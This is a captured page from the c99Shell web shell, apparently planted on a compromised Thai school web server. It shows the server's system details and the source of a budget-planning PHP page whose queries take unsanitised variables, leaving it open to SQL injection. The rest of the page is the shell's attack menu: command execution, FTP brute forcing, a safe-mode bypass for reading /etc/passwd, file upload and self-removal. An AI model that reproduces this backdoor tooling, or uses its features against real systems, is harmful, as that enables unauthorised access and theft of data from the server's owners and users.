!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PlanStdDetail.php (4.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
 
include("../include/FunctionDB.php");
include(
"../include/Function.php");

ConnectDB();

$sql " SELECT * FROM  projectstdplan_tb   WHERE  Budget_Year='$Budget_Year'  AND  Faculty_code='$Faculty_code'  AND  Project_code='$Project_code' ";
$result mysql_query($sql);
$rs mysql_fetch_array($result);
?>

<html>
<head>
<title>แสดงรายละเอียดของแผนดำเนินการ</title>
<link href="../css/default.css" rel="stylesheet" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">

<style type="text/css">
<!--
.style6 {font-size: 14px}
.style36 {
    font-size: 16px;
    font-weight: bold;
}
-->
</style>
</head>

<table width="560" border="0" align="center">
  <tr>
    <td width="554" align="center"><fieldset>
        <table width="99%" border="0" cellspacing="1" cellpadding="1">
          <tr>
            <td height="5" colspan="2"></td>
          </tr>
          <tr>
            <td height="25" colspan="2" align="center" bgcolor="#F0F0F0"><span class="NOTE">แสดงรายละเอียดของแผนดำเนินการ</span></td>
          </tr>
          <tr>
            <td height="10" colspan="2"></td>
          </tr>
          <tr>
            <td width="23%" align="right">รหัสหน่วยงาน</td>
            <td width="77%" class="PADDING-LEFT-10"><font color="#0033CC" size="2" face="Tahoma"><?php
                $Faculty_code 
$rs["Faculty_code"];
                
$sql " SELECT *  FROM faculty_tb  WHERE Faculty_code='$Faculty_code' ";
                
$result1 mysql_query($sql) or die("Error".mysql_error());
                
$rss mysql_fetch_array($result1);
                    echo 
"$rss[Faculty_code]    $rss[Faculty_name]";
             
?></font></td>
          </tr>
          <tr>
            <td align="right">รหัสของแผน</td>
            <td class="PADDING-LEFT-10"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs['Orderlist']; ?></font></td>
          </tr>
          <tr>
            <td align="right">แผนงานโครงการ</td>
            <td class="PADDING-LEFT-10"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs['Project_plan']; ?></font></td>
          </tr>
          <tr>
            <td align="right">วัตถุประสงค์</td>
            <td class="PADDING-LEFT-10"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs['Orderlist_2']; ?></font></td>
          </tr>
          <tr>
            <td align="right">ตัวชี้วัดความสำเร็จ</td>
            <td class="PADDING-LEFT-10"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Project_name]?></font></td>
          </tr>
          <tr>
            <td align="right">วิธีการดำเนินงาน</td>
            <td class="PADDING-LEFT-10"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs['Project_rep']; ?></font></td>
          </tr>
          <tr>
            <td align="right">กลุ่มเป้าหมาย</td>
            <td class="PADDING-LEFT-10"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs['Period']; ?></font></td>
          </tr>
          <tr>
            <td align="right">ผลที่คาดว่าจะได้รับ</td>
            <td class="PADDING-LEFT-10"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs['Period_1']; ?></font></td>
          </tr>
          <tr>
            <td align="right">หมวดเงิน</td>
            <td class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma"><?php
                $MoneyS_C 
$rs['MoneyS_C'];
                
$sql3 " SELECT *  FROM  money_source_tb  WHERE MoneyS_C='$MoneyS_C' ";
                
$result3 mysql_query($sql3) or die("Error".mysql_error());
                
$rss mysql_fetch_array($result3);
                    echo 
" $rss[MoneyS_M]";
             
?></font></td>
          </tr>
          <tr>
            <td align="right">ปีงบประมาณ พ.ศ.</td>
            <td class="PADDING-LEFT-10"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs['Budget_Year']; ?></font></td>
          </tr>
        </table>
      </fieldset>
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td height="10"></td>
        </tr>
      </table>
      <input type="button" name="Close" value="ปิดหน้าต่าง" onClick="window.close()" onMouseOver="this.style.cursor='hand'" />
    </td>
  </tr>
</table>
</body>
</html>
<?php
    CloseDB
();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0101 ]--